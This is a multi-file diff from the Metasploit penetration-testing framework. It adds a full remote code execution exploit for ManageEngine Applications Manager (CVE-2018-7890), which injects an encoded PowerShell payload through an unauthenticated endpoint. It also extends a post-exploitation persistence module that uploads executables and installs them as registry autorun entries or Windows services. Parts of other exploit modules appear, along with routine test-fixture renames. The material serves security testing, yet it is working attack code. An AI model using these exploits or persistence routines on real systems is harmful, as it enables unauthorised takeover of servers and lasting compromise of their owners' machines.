||||||
|
|
||||||
|
if web.nil? || repos.nil?
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
unless web
|
||||||
|
update_web(!web)
|
||||||
|
# Wait for interface
|
||||||
|
sleep 8
|
||||||
|
end
|
||||||
|
|
||||||
|
if repos
|
||||||
|
pwn_repo = repos[0]['name']
|
||||||
|
else
|
||||||
|
pwn_repo = create_repo
|
||||||
|
end
|
||||||
|
|
||||||
|
r_users = repo_users(pwn_repo)
|
||||||
|
if r_users.present?
|
||||||
|
pwn_user = r_users[0]
|
||||||
|
run_exploit(pwn_repo, pwn_user, command)
|
||||||
|
else
|
||||||
|
pwn_user = create_user
|
||||||
|
if pwn_user
|
||||||
|
mod_user(pwn_repo, pwn_user, 'POST')
|
||||||
|
run_exploit(pwn_repo, pwn_user, command)
|
||||||
|
mod_user(pwn_repo, pwn_user, 'DELETE')
|
||||||
|
delete_user(pwn_user)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless web
|
||||||
|
update_web(web)
|
||||||
|
end
|
||||||
|
|
||||||
|
unless repos
|
||||||
|
delete_repo(pwn_repo)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,102 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "ManageEngine Applications Manager Remote Code Execution",
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
|
||||||
|
An unauthenticated user can execute a operating system command under the context of privileged user.
|
||||||
|
|
||||||
|
Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
|
||||||
|
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
|
||||||
|
without validating user supplied parameter when the given system is OfficeSharePointServer.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2018-7890'],
|
||||||
|
['BID', '103358'],
|
||||||
|
['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'],
|
||||||
|
['URL', 'https://pitstop.manageengine.com/portal/community/topic/security-vulnerability-issues-fixed-upgrade-to-the-latest-version-of-applications-manager']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'WfsDelay' => 10,
|
||||||
|
'RPORT' => 9090
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x22"
|
||||||
|
},
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Targets' => [['Automatic', {}]],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Mar 7 2018',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = trigger_endpoint(Rex::Text.rand_text_alpha(3))
|
||||||
|
if res && res.body.include?('Kindly check the credentials and try again')
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
|
||||||
|
powershell_options = {
|
||||||
|
encode_final_payload: true,
|
||||||
|
remove_comspec: true
|
||||||
|
}
|
||||||
|
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
|
||||||
|
|
||||||
|
print_status('Triggering the vulnerability')
|
||||||
|
|
||||||
|
trigger_endpoint("$(#{p})")
|
||||||
|
end
|
||||||
|
|
||||||
|
def trigger_endpoint(username)
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
|
||||||
|
'vars_post' => {
|
||||||
|
'method' => 'testCredentialForConfMonitors',
|
||||||
|
'type' => 'OfficeSharePointServer',
|
||||||
|
'montype' => 'OfficeSharePointServer',
|
||||||
|
'isAgentEnabled' => 'NO',
|
||||||
|
'isAgentAssociated' => 'false',
|
||||||
|
'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
|
||||||
|
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
|
||||||
|
'Powershell' => 'True', # :-)
|
||||||
|
'CredSSP' => 'False',
|
||||||
|
'SPType' => 'SPServer',
|
||||||
|
'CredentialDetails' => 'nocm',
|
||||||
|
'Password' => Rex::Text.rand_text_alpha(3),
|
||||||
|
'UserName' => username
|
||||||
|
}
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -156,7 +156,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
|
|
||||||
def check
|
def check
|
||||||
if sysinfo['Architecture'] == ARCH_X64
|
if sysinfo['Architecture'] == ARCH_X64
|
||||||
return Exploit::CheckCode::Detected
|
vprint_error 'Running against 64-bit systems is not supported'
|
||||||
|
return CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||||
|
|
|
@ -3,12 +3,6 @@
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core/post/common'
|
|
||||||
require 'msf/core/post/file'
|
|
||||||
require 'msf/core/post/windows/priv'
|
|
||||||
require 'msf/core/post/windows/registry'
|
|
||||||
require 'msf/core/post/windows/services'
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Post
|
class MetasploitModule < Msf::Post
|
||||||
include Msf::Post::Common
|
include Msf::Post::Common
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
|
@ -34,10 +28,18 @@ class MetasploitModule < Msf::Post
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
|
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
|
||||||
OptPath.new('REXEPATH', [true, 'The remote executable to use.']),
|
OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
|
||||||
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
|
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
|
||||||
], self.class
|
], self.class
|
||||||
)
|
)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
|
||||||
|
OptString.new('StartupName', [false, 'The name of service or registry. Random string as default.' ]),
|
||||||
|
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
|
||||||
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Run Method for when run command is issued
|
# Run Method for when run command is issued
|
||||||
|
@ -123,11 +125,12 @@ class MetasploitModule < Msf::Post
|
||||||
# Function to install payload in to the registry HKLM or HKCU
|
# Function to install payload in to the registry HKLM or HKCU
|
||||||
#-------------------------------------------------------------------------------
|
#-------------------------------------------------------------------------------
|
||||||
def write_to_reg(key, script_on_target)
|
def write_to_reg(key, script_on_target)
|
||||||
nam = Rex::Text.rand_text_alpha(rand(8) + 8)
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
|
||||||
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
||||||
if key
|
if key
|
||||||
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
|
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
|
||||||
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
||||||
|
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
|
||||||
else
|
else
|
||||||
print_error("Error: failed to open the registry key for writing")
|
print_error("Error: failed to open the registry key for writing")
|
||||||
end
|
end
|
||||||
|
@ -138,9 +141,21 @@ class MetasploitModule < Msf::Post
|
||||||
def install_as_service(script_on_target)
|
def install_as_service(script_on_target)
|
||||||
if is_system? || is_admin?
|
if is_system? || is_admin?
|
||||||
print_status("Installing as service..")
|
print_status("Installing as service..")
|
||||||
nam = Rex::Text.rand_text_alpha(rand(8) + 8)
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
|
||||||
|
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
|
||||||
print_status("Creating service #{nam}")
|
print_status("Creating service #{nam}")
|
||||||
service_create(nam, :path=>"cmd /c \"#{script_on_target}\"")
|
|
||||||
|
key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description)
|
||||||
|
|
||||||
|
# check if service had been created
|
||||||
|
if key != 0
|
||||||
|
print_error("Service #{nam} creating failed.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# if service is stopped, then start it.
|
||||||
|
service_start(nam) if service_status(nam)[:state] == 1
|
||||||
|
|
||||||
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
|
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
|
||||||
else
|
else
|
||||||
print_error("Insufficient privileges to create service")
|
print_error("Insufficient privileges to create service")
|
||||||
|
@ -150,15 +165,34 @@ class MetasploitModule < Msf::Post
|
||||||
# Function for writing executable to target host
|
# Function for writing executable to target host
|
||||||
#-------------------------------------------------------------------------------
|
#-------------------------------------------------------------------------------
|
||||||
def write_exe_to_target(rexe, rexename)
|
def write_exe_to_target(rexe, rexename)
|
||||||
tempdir = session.fs.file.expand_path("%TEMP%")
|
# check if we have write permission
|
||||||
temprexe = tempdir + "\\" + rexename
|
# I made it by myself because the function filestat.writable? was not implemented yet.
|
||||||
|
if not datastore['LocalExePath'].nil?
|
||||||
|
|
||||||
|
begin
|
||||||
|
temprexe = datastore['LocalExePath'] + "\\" + rexename
|
||||||
|
write_file_to_target(temprexe,rexe)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
|
||||||
|
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
|
||||||
|
write_file_to_target(temprexe,rexe)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write to %temp% directory if not set LocalExePath
|
||||||
|
else
|
||||||
|
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
|
||||||
|
write_file_to_target(temprexe,rexe)
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Persistent Script written to #{temprexe}")
|
||||||
|
@clean_up_rc << "rm #{temprexe.gsub("\\", "\\\\\\\\")}\n"
|
||||||
|
temprexe
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_file_to_target(temprexe,rexe)
|
||||||
fd = session.fs.file.new(temprexe, "wb")
|
fd = session.fs.file.new(temprexe, "wb")
|
||||||
fd.write(rexe)
|
fd.write(rexe)
|
||||||
fd.close
|
fd.close
|
||||||
|
|
||||||
print_good("Persistent Script written to #{temprexe}")
|
|
||||||
@clean_up_rc << "rm #{temprexe}\n"
|
|
||||||
temprexe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Function to create executable from a file
|
# Function to create executable from a file
|
||||||
|
|
3
msfvenom
3
msfvenom
|
@ -135,6 +135,7 @@ def parse_args(args)
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||||
|
require 'rex/text'
|
||||||
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -188,7 +189,7 @@ def parse_args(args)
|
||||||
datastore[k.upcase] = v.to_s
|
datastore[k.upcase] = v.to_s
|
||||||
end
|
end
|
||||||
if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil?
|
if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil?
|
||||||
init_framework
|
require 'rex/socket'
|
||||||
datastore['LHOST'] = Rex::Socket.source_address
|
datastore['LHOST'] = Rex::Socket.source_address
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
FactoryGirl.define do
|
FactoryBot.define do
|
||||||
factory :exported_web_vuln, :parent => :mdm_web_vuln do
|
factory :exported_web_vuln, :parent => :mdm_web_vuln do
|
||||||
blame { generate :mdm_web_vuln_blame }
|
blame { generate :mdm_web_vuln_blame }
|
||||||
description { generate :mdm_web_vuln_description }
|
description { generate :mdm_web_vuln_description }
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
FactoryGirl.modify do
|
FactoryBot.modify do
|
||||||
factory :mdm_module_detail do
|
factory :mdm_module_detail do
|
||||||
transient do
|
transient do
|
||||||
root {
|
root {
|
||||||
|
|
|
@ -9,9 +9,9 @@ RSpec.describe Metasploit::Framework::JtR::Wordlist do
|
||||||
let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' }
|
let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' }
|
||||||
let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) }
|
let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) }
|
||||||
let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) }
|
let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) }
|
||||||
let(:password) { FactoryGirl.create(:metasploit_credential_password) }
|
let(:password) { FactoryBot.create(:metasploit_credential_password) }
|
||||||
let(:public) { FactoryGirl.create(:metasploit_credential_public) }
|
let(:public) { FactoryBot.create(:metasploit_credential_public) }
|
||||||
let(:realm) { FactoryGirl.create(:metasploit_credential_realm) }
|
let(:realm) { FactoryBot.create(:metasploit_credential_realm) }
|
||||||
let(:mutate_me) { 'password' }
|
let(:mutate_me) { 'password' }
|
||||||
let(:mutants) { [
|
let(:mutants) { [
|
||||||
"pa55word",
|
"pa55word",
|
||||||
|
|
|
@ -32,21 +32,21 @@ RSpec.describe Msf::Auxiliary::Cisco do
|
||||||
|
|
||||||
subject(:aux_cisco) { DummyClass.new }
|
subject(:aux_cisco) { DummyClass.new }
|
||||||
|
|
||||||
let!(:workspace) { FactoryGirl.create(:mdm_workspace) }
|
let!(:workspace) { FactoryBot.create(:mdm_workspace) }
|
||||||
|
|
||||||
context '#create_credential_and_login' do
|
context '#create_credential_and_login' do
|
||||||
|
|
||||||
let(:session) { FactoryGirl.create(:mdm_session) }
|
let(:session) { FactoryBot.create(:mdm_session) }
|
||||||
|
|
||||||
let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace)}
|
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace)}
|
||||||
|
|
||||||
let(:user) { FactoryGirl.create(:mdm_user)}
|
let(:user) { FactoryBot.create(:mdm_user)}
|
||||||
|
|
||||||
subject(:test_object) { DummyClass.new }
|
subject(:test_object) { DummyClass.new }
|
||||||
|
|
||||||
let(:workspace) { FactoryGirl.create(:mdm_workspace) }
|
let(:workspace) { FactoryBot.create(:mdm_workspace) }
|
||||||
let(:service) { FactoryGirl.create(:mdm_service, host: FactoryGirl.create(:mdm_host, workspace: workspace)) }
|
let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
|
||||||
let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace) }
|
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
|
||||||
|
|
||||||
let(:login_data) {
|
let(:login_data) {
|
||||||
{
|
{
|
||||||
|
|
|
@ -50,7 +50,7 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||||
describe '#auto_target?' do
|
describe '#auto_target?' do
|
||||||
it 'should return true if the automatic target is selected' do
|
it 'should return true if the automatic target is selected' do
|
||||||
host_addr = '192.168.1.5'
|
host_addr = '192.168.1.5'
|
||||||
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
|
host_obj = FactoryBot.create(:mdm_host, address: host_addr )
|
||||||
windows_exploit.datastore['TARGET'] = 0
|
windows_exploit.datastore['TARGET'] = 0
|
||||||
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
||||||
windows_exploit.datastore['RHOST'] = host_addr
|
windows_exploit.datastore['RHOST'] = host_addr
|
||||||
|
@ -71,7 +71,7 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||||
context 'finding the target host' do
|
context 'finding the target host' do
|
||||||
it 'should return a matching Mdm::host if there is one' do
|
it 'should return a matching Mdm::host if there is one' do
|
||||||
host_addr = '192.168.1.5'
|
host_addr = '192.168.1.5'
|
||||||
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
|
host_obj = FactoryBot.create(:mdm_host, address: host_addr )
|
||||||
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
||||||
windows_exploit.datastore['RHOST'] = host_addr
|
windows_exploit.datastore['RHOST'] = host_addr
|
||||||
expect(windows_exploit.auto_target_host).to eq host_obj
|
expect(windows_exploit.auto_target_host).to eq host_obj
|
||||||
|
@ -84,12 +84,12 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'filtering targets' do
|
context 'filtering targets' do
|
||||||
let(:windows_xp_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) }
|
let(:windows_xp_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) }
|
||||||
let(:windows_xp_sp1_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) }
|
let(:windows_xp_sp1_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) }
|
||||||
let(:windows_xp_sp2_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) }
|
let(:windows_xp_sp2_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) }
|
||||||
let(:windows_xp_sp3_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) }
|
let(:windows_xp_sp3_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) }
|
||||||
let(:windows_7_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) }
|
let(:windows_7_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) }
|
||||||
let(:unknown_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: nil ) }
|
let(:unknown_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: nil ) }
|
||||||
let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) }
|
let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) }
|
||||||
let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) }
|
let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) }
|
||||||
|
|
||||||
|
@ -182,4 +182,4 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,7 +6,7 @@ RSpec.describe Msf::ModuleSet do
|
||||||
}
|
}
|
||||||
|
|
||||||
let(:module_type) {
|
let(:module_type) {
|
||||||
FactoryGirl.generate :mdm_module_detail_mtype
|
FactoryBot.generate :mdm_module_detail_mtype
|
||||||
}
|
}
|
||||||
|
|
||||||
context '#rank_modules' do
|
context '#rank_modules' do
|
||||||
|
@ -207,4 +207,4 @@ RSpec.describe Msf::ModuleSet do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -14,7 +14,7 @@ RSpec.describe Msf::DBManager::Export do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_workspace
|
:mdm_workspace
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
@ -42,7 +42,7 @@ RSpec.describe Msf::DBManager::Export do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_details) do
|
let!(:module_details) do
|
||||||
FactoryGirl.create_list(
|
FactoryBot.create_list(
|
||||||
:mdm_module_detail,
|
:mdm_module_detail,
|
||||||
module_detail_count
|
module_detail_count
|
||||||
)
|
)
|
||||||
|
|
|
@ -30,30 +30,30 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
let(:nonblank_username) { 'nonblank_user' }
|
let(:nonblank_username) { 'nonblank_user' }
|
||||||
let(:nonblank_password) { 'nonblank_pass' }
|
let(:nonblank_password) { 'nonblank_pass' }
|
||||||
|
|
||||||
let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) }
|
let!(:origin) { FactoryBot.create(:metasploit_credential_origin_import) }
|
||||||
|
|
||||||
let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) }
|
let!(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) }
|
||||||
let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) }
|
let!(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) }
|
||||||
let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) }
|
let!(:blank_pub) { blank_pub = FactoryBot.create(:metasploit_credential_blank_username) }
|
||||||
let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) }
|
let!(:nonblank_priv) { FactoryBot.create(:metasploit_credential_password, data: nonblank_password) }
|
||||||
let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) }
|
let!(:nonblank_pub) { FactoryBot.create(:metasploit_credential_username, username: nonblank_username) }
|
||||||
let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) }
|
let!(:blank_priv) { FactoryBot.create(:metasploit_credential_password, data: blank_password) }
|
||||||
before(:example) do
|
before(:example) do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: origin,
|
origin: origin,
|
||||||
private: priv,
|
private: priv,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
workspace: framework.db.workspace)
|
workspace: framework.db.workspace)
|
||||||
|
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: origin,
|
origin: origin,
|
||||||
private: nonblank_priv,
|
private: nonblank_priv,
|
||||||
public: blank_pub,
|
public: blank_pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
workspace: framework.db.workspace)
|
workspace: framework.db.workspace)
|
||||||
|
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: origin,
|
origin: origin,
|
||||||
private: blank_priv,
|
private: blank_priv,
|
||||||
public: nonblank_pub,
|
public: nonblank_pub,
|
||||||
|
@ -167,12 +167,12 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' }
|
let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' }
|
||||||
|
|
||||||
let!(:pub) do
|
let!(:pub) do
|
||||||
FactoryGirl.create(:metasploit_credential_username, username: username)
|
FactoryBot.create(:metasploit_credential_username, username: username)
|
||||||
end
|
end
|
||||||
let!(:password_core) do
|
let!(:password_core) do
|
||||||
priv = FactoryGirl.create(:metasploit_credential_password, data: password)
|
priv = FactoryBot.create(:metasploit_credential_password, data: password)
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -182,18 +182,18 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
# # Somehow this is hitting a unique constraint on Cores with the same
|
# # Somehow this is hitting a unique constraint on Cores with the same
|
||||||
# # Public, even though it has a different Private. Skip for now
|
# # Public, even though it has a different Private. Skip for now
|
||||||
# let!(:ntlm_core) do
|
# let!(:ntlm_core) do
|
||||||
# priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash)
|
# priv = FactoryBot.create(:metasploit_credential_ntlm_hash, data: ntlm_hash)
|
||||||
# FactoryGirl.create(:metasploit_credential_core,
|
# FactoryBot.create(:metasploit_credential_core,
|
||||||
# origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
# origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
# private: priv,
|
# private: priv,
|
||||||
# public: pub,
|
# public: pub,
|
||||||
# realm: nil,
|
# realm: nil,
|
||||||
# workspace: framework.db.workspace)
|
# workspace: framework.db.workspace)
|
||||||
# end
|
# end
|
||||||
# let!(:nonreplayable_core) do
|
# let!(:nonreplayable_core) do
|
||||||
# priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf')
|
# priv = FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: 'asdf')
|
||||||
# FactoryGirl.create(:metasploit_credential_core,
|
# FactoryBot.create(:metasploit_credential_core,
|
||||||
# origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
# origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
# private: priv,
|
# private: priv,
|
||||||
# public: pub,
|
# public: pub,
|
||||||
# realm: nil,
|
# realm: nil,
|
||||||
|
@ -241,9 +241,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
describe 'Adding' do
|
describe 'Adding' do
|
||||||
let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) }
|
let(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) }
|
||||||
let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) }
|
let(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) }
|
||||||
let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) }
|
let(:r) { FactoryBot.create(:metasploit_credential_realm, key: realm_type, value: realm) }
|
||||||
context 'Cores with public privates and realms' do
|
context 'Cores with public privates and realms' do
|
||||||
context 'username password and realm' do
|
context 'username password and realm' do
|
||||||
it 'creates a core if one does not exist' do
|
it 'creates a core if one does not exist' do
|
||||||
|
@ -252,8 +252,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: r,
|
realm: r,
|
||||||
|
